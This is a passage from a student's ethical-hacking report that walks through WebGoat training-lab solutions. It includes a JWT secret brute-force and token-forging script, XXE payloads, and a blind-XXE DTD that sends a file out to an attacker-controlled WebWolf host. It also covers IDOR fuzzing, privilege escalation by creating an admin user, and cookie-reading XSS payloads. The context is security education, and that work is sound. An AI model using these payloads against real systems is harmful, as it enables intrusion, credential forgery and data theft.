LCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHd
lYmdvYXQuY29tIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.v
Pe-qQPOt78zK8wrbN1TjNJj3LeX9Qbch6oo23RUJgM'.split('.')

payload = '{"iss":"WebGoat Token


Builder","iat":1524210904,"exp":1618905304,"aud":"webgoat.org","sub":"tom@w
ebgoat.com","username":"WebGoat","Email":"[email protected]","Role":
["Manager","Project Administrator"]}'.encode()

unsigned_token = (token[0] + '.' + token[1]).encode()

# signature is base64 URL encoded and padding has been removed, so we must
add it

signature = (token[2] + '=' * (-len(token[2]) % 4)).encode()

with open('google-10000-english-master/google-10000-english.txt', 'r') as


fd:

lines = [line.rstrip('\n').encode() for line in fd]

def hmac_base64(key, message):

return base64.urlsafe_b64encode(bytes.fromhex(hmac.new(key, message,


hashlib.sha256).hexdigest()))

for line in lines:

test = hmac_base64(line, unsigned_token)

if test == signature:

print('Key: {}'.format(line.decode()))

new_token = (token[0] + '.' +


base64.urlsafe_b64encode(payload).decode().rstrip('=')).encode()

new_signature = hmac_base64(line, new_token)

new_token += ('.' + new_signature.decode().rstrip('=')).encode()

print('New token: {}'.format(new_token.decode()))

return

jwt_tokens_5()

40 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

Sensitive Data Exposure

Insecure Login (2)


Click the "log in" button to send a request containing login credentials of another
user. Then, write these credentials into the appropriate fields and submit to confirm.
Try using a packet sniffer to intercept the request.

Solution

Lesson number does not turn green on validation.

 Open the Development Tools in the browser, and go to the Network tab.
 On WebGoat, click on Log in.
 Locate the query to start.mc in the Network tab and click on Parameters.
 Notice the parameters
{"username":"CaptainJack","password":"BlackPearl"}.

41 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

XML External Entities (XXE)

XXE(4)
In this assignment, you will add a comment to the photo, when submitting the form
try to execute an XXE injection with the comments field. Try listing the root directory
of the filesystem.

Solution

 Try submitting the form and see what happens


 Use ZAP/Burp to intercept the request and try to include your own DTD
 Try to include a doctype "(<!DOCTYPE...)" in the xml
 They include can be as follows: [ ]>
 Do not forget to reference the entity
 In the comment you should references &root;test

 Open the Development Tools in the browser, and go to the Network tab.
 On WebGoat, post a comment.
 Locate the query to simple in the Network tab and click on Edit and Resend.
 Edit the body with: <?xml version="1.0"?><!DOCTYPE comment [<!
ENTITY xxe SYSTEM
"file:///">]><comment><text>&xxe;</text></comment>

42 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

XXE(7)
Modern REST framework

In modern REST frameworks, the server might be able to accepts data formats that
you as a developer did not think about. So, this might result in JSON endpoints being
vulnerable to XXE attacks.
Again, same exercise but try to perform the same XML injection as we did in first
assignment.

Solution

 Look at the content type


 Does the endpoint only accept json messages?

 Open the Development Tools in the browser, and go to the Network tab.
 On WebGoat, post a comment.
 Locate the query to content-type in the Network tab and click on Edit and
Resend.
 Edit the body with: <?xml version="1.0"?><!DOCTYPE comment [<!
ENTITY xxe SYSTEM
"file:///">]><comment><text>&xxe;</text></comment>. and
edit the header Content-Type: application/json with
Content-Type: application/xml

43 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

XXE(11)
Blind XXE assignment

In the previous page we showed you how you can ping a server with a XXE attack,
in this assignment try to make a DTD which will upload the contents of a file
secret.txt from the WebGoat server to our WebWolf server. You can use WebWolf to
serve your DTD. The secret.txt is located on the WebGoat server in this location, so
you do not need to scan all directories and files:
OS Location

/home/webgoat/.webgoat-v8.0.0-
Linux
SNAPSHOT//XXE/secret.txt

Try to upload this file using WebWolf landing page for example:
http://localhost:9090/landing?text=contents_file (NOTE: this endpoint is under your
full control) Once you obtained the contents of the file post it as a new comment on
the page and you will solve the lesson.

44 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

Solution

 This assignment is more complicated you need to upload the contents of a file
to the attacker’s site (WebWolf in this case)
 In this case you cannot combine external entities in combination with internal
entities.
 Use parameter entities to perform the attack, see for example:
https://www.acunetix.com/blog/articles/xml-external-entity-xxe-limitations /
 An example DTD can be found here
WebGoat/https://raw.githubusercontent.com/PiAil/pwning-webgoat/master/
images/example.dtd, include this DTD in the xml comment
 Use for the comment, be aware to replace the url accordingly:
[%remote;]>test&send;

 Upload contents_file.dtd on WebWolf.


 Open the Development Tools in the browser, and go to the Network tab.
 On WebGoat, post a comment.
 Locate the query to blind in the Network tab and click on Edit and Resend.
 Edit the body of the query as specified below.

contents_file.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM
'http://host:port/landing?%file;' >" >%all;
Request Body
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY % file SYSTEM "file:///home/webgoat/.webgoat-
8.0.0.M25/XXE/secret.txt" >
<!ENTITY % dtd SYSTEM
"http://host:port/files/username/contents_file.dtd" >
%dtd;]>
<comment>
<text>test&send;</text>
</comment>

45 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

Broken Access Control

Insecure Direct Object Reference(2)

Authenticate First, Abuse Authorization Later

Many access control issues are susceptible to attack from an authenticated-but-


unauthorized user. So, let’s start by legitimately authenticating. Then, we will look for
ways to bypass or abuse Authorization.

The id and password for the account in this case are 'tom' and 'cat' (It is an insecure
app, right?).

After authenticating, proceed to the next screen.

Solution

Log in first. Username is tom, password is cat.

Identify with the provided credentials.

46 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

Insecure Direct Object Reference(3)

Observing Differences & Behaviours

A consistent principle from the offensive side of AppSec is to view differences


from the raw response to what is visible. In other words (as you may have
already noted in the client-side filtering lesson), there is often data in the raw
response that doesn’t show up on the screen/page. View the profile below
and take note of the differences.

Solution

⚠Lesson number does not turn green on validation.


 Make sure you have logged in on the previous step/page
 View the response using developer tools or a proxy.
 The attributes are not visible and have nothing to do with size, color or name
 Attributes are role, userID.

47 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

Insecure Direct Object Reference(4)

Guessing & Predicting Patterns

View Your Own Profile Another Way

The application we are working with seems to follow a RESTful pattern so far as the
profile goes. Many apps have roles in which an elevated user may access content of
another. In that case, just /profile won’t work since the own user’s
session/authentication data won’t tell us whose profile they want view. So, what do
you think is a likely pattern to view your own profile explicitly using a direct object
reference?

Solution

 Look at the previous request for profile, this is similar


 You will need data from the previous request for your own profile
 Append your id to the previous request (i.e., .../profile/{yourId})

 Open the Development Tools in the browser, and go to the Network tab.
 In the lesson 3, click on View Profile.
 Locate the query to blind in the Network tab and click on Response.
 Notice the paramter userID, the expected answer is
WebGoat/IDOR/profile/userID_value.

48 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

Insecure Direct Object Reference(5)

Playing with the Patterns

View Another Profile


View someone else’s profile by using the alternate path you already used to view
your own profile. Use the 'View Profile' button and intercept/modify the request to
view another profile. Alternatively, you may also just be able to use a manual GET
request with your browser.

Edit Another Profile


Older apps may follow different patterns, but RESTful apps (which is what’s going on
here) often just change methods (and include a body or not) to perform different
functions.
Use that knowledge to take the same base request, change its method, path, and
body (payload) to modify another user’s (Buffalo Bill’s) profile. Change the role to
something lower (since higher privilege roles and users are ususally lower numbers).
Also change the user’s color to 'red'.

Solution

 The default request here won't work at all, so you will need to manually craft
the request or tamper it with a proxy
 You will likely need to 'fuzz' to try different values for the userId at the end of
the Url
 Try incrementing the id value. It's not a simple +1, but it's also not too far off
 For editing the other user's profile, you will need to use the proxy or manually
craft the request again
 To edit the other user's profile, you will use the same Url you did to view the
other user's profile
 To edit, You will need to change the method, what is the RESTful method
used for 'update' or 'edit'?
 You will also need the body of the request (will look something like the profile)
 The request should go to ... /WebGoat/IDOR/profile/{Buffalo Bills Id}
 Your payload should look something like ... {"role" : 1,"color" : "red","size" :
"small","name" : "Tom Cat","userId" : "2342388"}

49 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

View Another Profile:


The script below fuzz the URL found in the previous exercise to find another profile.
We find one at 2342388.
import requests
def idor_5():
index = 2342300
headers = {
'Cookie': COOKIE,
}
while True:
r =
requests.get('http://192.168.99.100:8080/WebGoat/IDOR/profile/
{}'.format(index), headers=headers)
if r.status_code != 500 and index != 2342384:
print("Index: {}".format(index))
return
index += 1
idor_5()

Edit Another Profile:


Send a PUT request to http://192.168.99.100:8080/WebGoat/IDOR/profile/2342388
with header Content-Type: application/json and body {"role":1,
"color":"red", "size":"large", "name":"Buffalo Bill",
"userId":2342388}

50 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

Missing Function Level Access Control (2)

Relying on Obscurity

If you are relying on HTML, CSS, or JavaScript to hide links that users don’t normally
access. It’s a little older, but there was a case of a network router trying to protect
(hide) admin functions with JavaScript in the UI
https://www.wired.com/2009/10/routers-still-vulnerable

Finding Hidden Items

There are usually hints to finding functionality the UI does not openly expose in …

 HTML or JavaScript comments


 Commented out elements
 Items hidden via CSS controls/classes

Your Mission

Find two menu items not visible in menu below that are or would be of interest to an
attacker/malicious user and put the labels for those menu items (there are no links
right now in the menus).

Solution

 You can inspect the DOM or review the source in the proxy request/response
cycle.
 Look for indications of something that would not be available to a typical user
 Look for something a super-user or administrator might have available to
them

 Right-click on the Log Out element, and click on Inspect Element


 Just below in the HTML, we can see hidden fields: Users, Config.

51 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

Missing Function Level Access Control (3)


As the previous page noted, sometimes apps rely on client controls. to control
access (obscurity). If you can find items that don’t have visible links, just try them,
see what happens. Yes, it can be that simple!

Gathering User Info

Often, data dumps from vulnerabilities such as SQL injection, but they can also
come from poor or lacking access control.
It will likely take multiple steps and multiple attempts to get this one. Pay attention to
the comments, leaked info. and you’ll need to guess some. You may need to use
another browser/account along the way. Start with the info. you already gathered
(hidden menu items) to see if you can pull the list of users and then provide the
'Hash' for your own user account.

Solution

 There is an easier way and a 'harder' way to achieve this, the easier way
involves one simple change in a GET request.
 If you haven't found the hidden menus from the earlier exercise, go do that
first.
 When you look at the user’s page, there is a hint that more info is viewable by
a given role.
 For the easy way, have you tried tampering the GET request? Different
content-types?
 For the 'easy' way, modify the GET request to /users to include 'Content-Type:
application/json'
 Now for the harder way ... it builds on the easier way'
 If the request to view users, were a 'service' or 'RESTful' endpoint, what would
be different about it?
 If you're still looking for hints ... try changing the Content-type header as in the
GET request.
 You also need to deliver a proper payload for the request (look at how
registration works). This should be formatted in line with the content-type you
just defined.
 You will want to add WEBGOAT_ADMIN for the user's role. Yes, you'd have
to guess/fuzz this in a real-world setting.
 OK, here it is. First, create an admin user ... Change the method to POST,
change the content-type to "application/json". And your payload should look
something like:

52 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

{"username":"newUser2","password":"newUser12","matchingPa
ssword":"newUser12","role":"WEBGOAT_ADMIN"}
 Now log in as that user and bring up WebGoat/users. Copy your hash and log
back into your original account and input it there to get credit.

 Open the Development Tools in the browser, and go to the Network tab.
 Go to http://host:port/WebGoat/users.
 Locate the query to users in the Network tab and click on Edit and Resend.
 Add the header Content-Type: application/json.
 Check the hash in the response.

53 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

Cross Site Scripting

XSS(2)
What is XSS?

Cross-Site Scripting (also commonly known as XSS) is a vulnerability/flaw that


combines … # the allowance of HTML/script tags as input that are … # rendered into
a browser without encoding or sanitization

Cross-Site Scripting (XSS) is the most prevalent and pernicious web


application security issue

While there is a simple well-known defence for this attack, there are still many
instances of it on the web. In terms of fixing it, coverage of fixes also tends to be a
problem. We will talk more about the defence in a little bit.

XSS has a significant impact

Especially as 'Rich Internet Applications' are more and more commonplace,


privileged function calls linked to via JavaScript may be compromised. And if not
properly protected, sensitive data (such as your authentication cookies) can be
stolen and used for someone else’s purpose.
Quick examples:

 From the JavaScript console in the developer tools of the browser (Chrome,
Firefox)

alert("XSS Test");
alert(document.cookie);

 Any data field that is returned to the client is potentially injectable

<script>alert("XSS Test")</script>
Try It! Using Chrome or Firefox

 Open a second tab and use the same URL as this page you are currently on
(or any URL within this instance of WebGoat)
 Then, on that second that open the browser developer tools and open the
javascript console. And type: alert(document.cookie);

Solution
Yes, the cookies were the same on each tab.

54 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

XSS(7)
Reflected XSS

Identify which field is susceptible to XSS


It is always a good practice to validate all input on the server-side. XSS can occur
when unvalidated user input is used in an HTTP response. In a reflected XSS attack,
an attacker can craft a URL with the attack script and post it to another website,
email it, or otherwise get a victim to click on it.
An easy way to find out if a field is vulnerable to an XSS attack is to use the alert() or
console.log() methods. Use one of them to find out which field is vulnerable.

Solution

 Think about how the inputs are presumably processed by the application.
 Quantity inputs are probably processed as integer values. Not the best option
for inputting text, right?
 What information send to the application gets reflected after being submitted?
 Just try purchasing something. You want your script to be included in the
purchase-confirmation.
Put <script>alert()</script> in the box Enter your credit card number.

55 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

XSS(10)
Identify potential for DOM-Based XSS

DOM-Based XSS can usually be found by looking for the route configurations in the
client-side code. Look for a route that takes inputs that are being "reflected" to the
page. For this example, you will want to look for some 'test' code in the route
handlers (WebGoat uses backbone as its primary JavaScript library). Sometimes,
test code gets left in production.
Your objective is to find the route and exploit it. First though, what is the base route?
As an example, look at the URL for this lesson, it should look something like
/WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/9. The 'base route' in this
case is: start.mvc#lesson/ The CrossSiteScripting.lesson/9 after that are
parameters that are processed by the JavaScript route handler.
So, what is the route for the test code that stayed in the app during production? To
answer this question, you must check the JavaScript source.

Solution

 To search through the client-side code, use the developer tools of your
browser. (If you don't know how to use them, check the Developer Tools
Lesson in the general category.)
 Since you are looking for application code, check the WebGoat/js/goatApp
folder for a file that could handle the routes.
 Make sure you add the base route at the start, when submitting your solution.
 Still did not find it. Check the GoatRouter.js file. It should be easy to
determine.

 Open the Development Tools in the browser, and go to the Debugger tab.
 Locate the goatApp/View/GoatRouter.js file and open it.
 Look for routes to find 'test/:param': 'testRoute'.
 The expected answer is then start.mvc#test/.

56 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

XSS(11)
DOM-Based XSS

Some attacks are "blind". Fortunately, you have the server running here so you will
be able to tell if you are successful. Use the route you just found and see if you can
use the fact that it reflects a parameter from the route without encoding to execute
an internal function in WebGoat. The function you want to execute is
webgoat.customjs.phoneHome()
Sure, you could just use console/debug to trigger it, but you need to trigger it via a
URL in a new tab.
Once you do trigger it, a subsequent response will come to your browser’s console
with a random number. Put that random number in below.

Solution

 Open a new tab and navigate to the test-route you just figured out in the
previous lesson.
 Your URL should look something like that
http://localhost:8080/WebGoat/start.mvc#REPLACE-WITH-THE-TEST-
ROUTE/some\_parameters
 Note how the parameters you send to the test-route get reflected to the page.
Now add your JavaScript to it.
 You must use script tags, so your JavaScript code gets executed when being
rendered into the DOM.
 Since you are working with an URL, you might have to URL-encode your
parameters.
 Replace '/' with '%2F' in your URL parameters.

 Open the Development Tools in the browser, and go to the Console tab.
 Navigate to the URL
http://host:port/WebGoat/start.mvc#test/<script>webgoat.customjs.phoneHom
e()<%2Fscript>.
 Retrieve the number in the function output.

57 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

XSS(12)
Solution

1. Are trusted websites immune to XSS attacks?


Solution 4: No because the browser trusts the website if it is acknowledged trusted,
then the browser does not know that the script is malicious.
2. When do XSS attacks occur?
Solution 3: The data is included in dynamic content that is sent to a web user without
being validated for malicious content.
3. What are Stored XSS attacks?
Solution 1: The script is permanently stored on the server and the victim gets the
malicious script when requesting information from the server.
4. What are Reflected XSS attacks?
Solution 2: They reflect the injected script off the web server. That occurs when input
sent to the web server is part of the request.
5. Is JavaScript the only way to perform XSS attacks?
Solution 4: No there are many other ways. Like HTML, Flash or any other type of
code that the browser executes.

58 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

CONCLUSION
The WebGoat application contains lessons in how an attack can be performed and
simulated on the local computer. As web applications are becoming more and more
common in society with the introduction of web 2.0 and cloud-computing it is of utter
importance to maintain security in this new domain. Web applications are unlike
desktop applications open to a wider audience, often to the public and as such
require better security than desktop applications as user often share their data
through the web application. If one user compromises the system, then other users
also suffer. Cross-site scripting allows attackers to introduce a client-side script into a
webpage which can be used to bypass access controls on another user’s station
thus compromising another system through the mutual use of the web application.
While SQL injection is a technique that involves code injection into a database layer
of an application, it is possible for attackers to gain access to large sets of data on
other users such as their email and if the web application does not utilize hashed
passwords, even their passwords.

59 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

REFERENCES
https://www.csc.kth.se/utbildning/kth/kurser/DD143X/dkand10/grupp1/Doc/
CviticSvensk/Projektspec.pdf

https://docs.cycubix.com/web-application-security-essentials/introduction

https://docs.cycubix.com/web-application-security-essentials/solutions/a1-
injection/sql-injection-intro-9

https://docs.cycubix.com/web-application-security-essentials/solutions/a1-
injection-or-sql-injection-advanced-or-cycubix-docs/sql-injection-advanced-3

https://docs.cycubix.com/web-application-security-essentials/solutions/a1-
injection-or-sql-injection-mitigation-or-cycubix-docs/sql-injection-mitigation-5

https://docs.cycubix.com/web-application-security-essentials/solutions/
sensitive-data-exposure/insecure-login-2

https://docs.cycubix.com/web-application-security-essentials/solutions/a5-
broken-access-control/insecure-direct-object-reference-2

https://docs.cycubix.com/web-application-security-essentials/solutions/a7-
cross-site-scripting-xss/xss-2

https://docs.cycubix.com/web-application-security-essentials/solutions/a7-
cross-site-scripting-xss/xss-11

60 | E t h i c a l H a c k i n g

You might also like